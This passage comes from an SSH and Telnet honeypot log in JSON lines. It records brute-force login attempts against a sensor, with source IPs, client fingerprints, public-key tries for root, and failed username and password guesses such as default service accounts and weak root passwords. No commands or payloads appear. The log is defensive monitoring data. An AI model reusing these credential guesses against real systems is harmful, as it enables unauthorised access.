{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:fb:09:e2:28:86:fb:04:9b:56:0f:03:01:45:0c:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD20bpdy1BQalzgd6q66yDGkq46j5aRSsjPRYMlfUhoM/tf/c749Ery0+Wqra0GU7M83gMxVzy0azPgzFS0FZmDj3NWsR0sojUL+WCyIhfd2JCxxmfD3YWW1fToY9qWJuqmtrimDzqWLlssyJM1T0jA1FBl8YizCOFVvWyKYaiVMlYUxZMfUnx9ydPgx3dzVPDUjdYdBffRZzWWUJAHgj5WF0EGs9f7KveZguEoQXFqJYAdc+1VFhKNBI3Z46nNsEgpc/rsS355Cd0g29fH7kVZEp5lriETyscsrNHdv4KMZnOiERnB03+JV8Q/atgaXYEqY1q2tCOtjVFrT4ms3Efy+MgOyN69pWWO3TrpxYaDV1rh3l2ynlyS8SFYxCOeeDCt0uu3zshZfuMAZo7nS3QNjXsjleSGwDjiYWDwnJP7XC7fFh41s8gCAY+bRg/Y2DGSJrgk8QHoKO5j2FjdiFRdAu4PILaWrdM6cZlAXYATC3xHdwnqffJnmgFrMVNQ9RE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:fb:09:e2:28:86:fb:04:9b:56:0f:03:01:45:0c:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.725877Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:fb:09:e2:28:86:fb:04:9b:56:0f:03:01:45:0c:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD20bpdy1BQalzgd6q66yDGkq46j5aRSsjPRYMlfUhoM/tf/c749Ery0+Wqra0GU7M83gMxVzy0azPgzFS0FZmDj3NWsR0sojUL+WCyIhfd2JCxxmfD3YWW1fToY9qWJuqmtrimDzqWLlssyJM1T0jA1FBl8YizCOFVvWyKYaiVMlYUxZMfUnx9ydPgx3dzVPDUjdYdBffRZzWWUJAHgj5WF0EGs9f7KveZguEoQXFqJYAdc+1VFhKNBI3Z46nNsEgpc/rsS355Cd0g29fH7kVZEp5lriETyscsrNHdv4KMZnOiERnB03+JV8Q/atgaXYEqY1q2tCOtjVFrT4ms3Efy+MgOyN69pWWO3TrpxYaDV1rh3l2ynlyS8SFYxCOeeDCt0uu3zshZfuMAZo7nS3QNjXsjleSGwDjiYWDwnJP7XC7fFh41s8gCAY+bRg/Y2DGSJrgk8QHoKO5j2FjdiFRdAu4PILaWrdM6cZlAXYATC3xHdwnqffJnmgFrMVNQ9RE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.729786Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:b4:29:3d:c1:a1:e4:57:c1:3d:74:e0:5e:eb:d6:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiD0xu2TCRg1Gb8fZ6+Uz1ZFd8bq5qA3wwRqQKbDQURiJ/x5vYZqb5ZENLsybofoP++wAWWaqEVfFdm6m47Vn+lgElRGLIlMVIabCI9KtdKjHE0sjxwoipvGCnwHxXgoO/mrZGipoWeA8KwTNzqaTqSYckH4YMCWeJylpKSsmYVYkLuCryT04L0wKeqbj6Q0B1IfumZBub8ZhUGZcAzRB98lKxCq68U80cxvoGHgqj+sPbOkhKllq79atvJnNwtng+FBsu9FMqCczfR0CO9tS/FWLL+WG8yxO4ywI1/lOCRaJE3RTLJzAaw+swav6dDObk6GTFze0D7g9pRxg+n7Gn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:b4:29:3d:c1:a1:e4:57:c1:3d:74:e0:5e:eb:d6:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.806822Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:b4:29:3d:c1:a1:e4:57:c1:3d:74:e0:5e:eb:d6:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiD0xu2TCRg1Gb8fZ6+Uz1ZFd8bq5qA3wwRqQKbDQURiJ/x5vYZqb5ZENLsybofoP++wAWWaqEVfFdm6m47Vn+lgElRGLIlMVIabCI9KtdKjHE0sjxwoipvGCnwHxXgoO/mrZGipoWeA8KwTNzqaTqSYckH4YMCWeJylpKSsmYVYkLuCryT04L0wKeqbj6Q0B1IfumZBub8ZhUGZcAzRB98lKxCq68U80cxvoGHgqj+sPbOkhKllq79atvJnNwtng+FBsu9FMqCczfR0CO9tS/FWLL+WG8yxO4ywI1/lOCRaJE3RTLJzAaw+swav6dDObk6GTFze0D7g9pRxg+n7Gn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.810183Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:e2:d5:88:73:02:fa:79:e6:50:3c:5f:c0:bd:9f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfw5J648rKv5uEFnSnvT3foKFDaNCsyjj7Dbny0Cjm9LS8karj/bHstYuFQ5BJmn9XYiNmtyV5D/UXkkBQQf/79ClQMPRPSmoRW0aq5kaJkk4/IxQIYpR+TNOGTBllUsva3u89RdcHbEzdOwSU2RapsaHM8hoaQV6KTLHfbO4xXKSgL9WwZlKUxFO+RDe15Rronf7/PU5t0q3Dmrd5S2yCXkuANSC1yp6x69WnzLaBiv3XmifsDG3CqIUmW3UmKetNK2CsEbJTl9qmai3XBfUoUhU5t/sRS5RBmDr6Ey7D6TrHJ6JWPloUVVjF1poJUrLJhAtiZadbtZBep/66VVP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:e2:d5:88:73:02:fa:79:e6:50:3c:5f:c0:bd:9f:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.885383Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:e2:d5:88:73:02:fa:79:e6:50:3c:5f:c0:bd:9f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfw5J648rKv5uEFnSnvT3foKFDaNCsyjj7Dbny0Cjm9LS8karj/bHstYuFQ5BJmn9XYiNmtyV5D/UXkkBQQf/79ClQMPRPSmoRW0aq5kaJkk4/IxQIYpR+TNOGTBllUsva3u89RdcHbEzdOwSU2RapsaHM8hoaQV6KTLHfbO4xXKSgL9WwZlKUxFO+RDe15Rronf7/PU5t0q3Dmrd5S2yCXkuANSC1yp6x69WnzLaBiv3XmifsDG3CqIUmW3UmKetNK2CsEbJTl9qmai3XBfUoUhU5t/sRS5RBmDr6Ey7D6TrHJ6JWPloUVVjF1poJUrLJhAtiZadbtZBep/66VVP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.889359Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:a1:01:51:3a:b2:2f:d6:31:1a:8f:57:79:8b:1d:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnL94K/gouO+FaNoAEKR4h0GS9pPZnhfbRMeDEI4OImAnwS1r1urADaXmigoRsEMvwNmumXBCW5mWLi78H4SpXaqdR0gakp6wxPRizECpN0SMXhE31KMDqi5TS9he7oMVP6xp5CfjdDTMIvePnDC9YI0G170wfmCwe1++3O5O/A4WLa4CoFZafCjkyrtSU02KgH6B7FeDkRXsFjo6f0+l9DX18A0FxwWpv+aNnxevnM+Kl/0cwo07XzPQgHOqR1NZOr7k+quWBlivKnHxOtUXiPLZDUzT8907U8mRVGpZsyDZ/hqmcht+1CnnwCwbnL88wWxLzX6ggwqkCzRoZ8GZR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:a1:01:51:3a:b2:2f:d6:31:1a:8f:57:79:8b:1d:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.965834Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:a1:01:51:3a:b2:2f:d6:31:1a:8f:57:79:8b:1d:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnL94K/gouO+FaNoAEKR4h0GS9pPZnhfbRMeDEI4OImAnwS1r1urADaXmigoRsEMvwNmumXBCW5mWLi78H4SpXaqdR0gakp6wxPRizECpN0SMXhE31KMDqi5TS9he7oMVP6xp5CfjdDTMIvePnDC9YI0G170wfmCwe1++3O5O/A4WLa4CoFZafCjkyrtSU02KgH6B7FeDkRXsFjo6f0+l9DX18A0FxwWpv+aNnxevnM+Kl/0cwo07XzPQgHOqR1NZOr7k+quWBlivKnHxOtUXiPLZDUzT8907U8mRVGpZsyDZ/hqmcht+1CnnwCwbnL88wWxLzX6ggwqkCzRoZ8GZR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.970822Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:28.052583Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39786,"dst_ip":"10.17.0.5","dst_port":23,"session":"83814e7da6e4","protocol":"telnet","message":"New connection: 192.119.13.58:39786 (10.17.0.5:23) [session: 83814e7da6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:31.289085Z"}
{"eventid":"cowrie.session.closed","duration":46.16160583496094,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:33.117338Z","src_ip":"192.119.13.58","session":"bef996c3d744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":35223,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de1ec2b59ca","protocol":"ssh","message":"New connection: 103.24.63.85:35223 (159.203.135.109:22) [session: 4de1ec2b59ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:34.637358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:34.642856Z","src_ip":"103.24.63.85","session":"4de1ec2b59ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:34.843863Z","src_ip":"103.24.63.85","session":"4de1ec2b59ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:36.051189Z","src_ip":"103.24.63.85","session":"4de1ec2b59ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:37.256675Z","src_ip":"103.24.63.85","session":"4de1ec2b59ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":39167,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a69263e16ca","protocol":"ssh","message":"New connection: 103.24.63.85:39167 (159.203.135.109:22) [session: 5a69263e16ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:49.472769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:49.477105Z","src_ip":"103.24.63.85","session":"5a69263e16ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:49.679228Z","src_ip":"103.24.63.85","session":"5a69263e16ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.52149152755737,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:49.982730Z","src_ip":"192.119.13.58","session":"1bb9e35429bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:50.292473Z","src_ip":"103.24.63.85","session":"5a69263e16ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.74582505226135,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:51.099150Z","src_ip":"192.119.13.58","session":"45476f56fa0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:51.551623Z","src_ip":"103.24.63.85","session":"5a69263e16ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":35422,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f94245d58f","protocol":"ssh","message":"New connection: 43.153.7.148:35422 (159.203.135.109:22) [session: 73f94245d58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:55.079036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:55.084310Z","src_ip":"43.153.7.148","session":"73f94245d58f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:55.153417Z","src_ip":"43.153.7.148","session":"73f94245d58f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E4r","message":"login attempt [root/!Q@W#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:55.466295Z","src_ip":"43.153.7.148","session":"73f94245d58f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:56.539544Z","src_ip":"43.153.7.148","session":"73f94245d58f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.95035696029663,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:56.615566Z","src_ip":"192.119.13.58","session":"0f7f71584a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45944,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c5a7629be3","protocol":"telnet","message":"New connection: 192.119.13.58:45944 (10.17.0.5:23) [session: 54c5a7629be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:01.714978Z"}
{"eventid":"cowrie.session.closed","duration":33.20435166358948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:04.493315Z","src_ip":"192.119.13.58","session":"83814e7da6e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41776,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda3b3ca1b18","protocol":"telnet","message":"New connection: 192.119.13.58:41776 (10.17.0.5:23) [session: eda3b3ca1b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:07.674211Z"}
{"eventid":"cowrie.session.closed","duration":44.403448820114136,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:08.175282Z","src_ip":"192.119.13.58","session":"2b727fcbf662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37888,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3853b8cd6dd","protocol":"ssh","message":"New connection: 80.66.85.226:37888 (10.17.0.5:22) [session: a3853b8cd6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:09.682925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:09.688063Z","src_ip":"80.66.85.226","session":"a3853b8cd6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:09.779820Z","src_ip":"80.66.85.226","session":"a3853b8cd6dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satana666","message":"login attempt [root/satana666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:10.062422Z","src_ip":"80.66.85.226","session":"a3853b8cd6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":42348,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4375923952a","protocol":"ssh","message":"New connection: 5.181.124.9:42348 (159.203.135.109:22) [session: f4375923952a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:10.562601Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:11.156583Z","src_ip":"80.66.85.226","session":"a3853b8cd6dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:30:11.368598Z","src_ip":"5.181.124.9","session":"f4375923952a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@open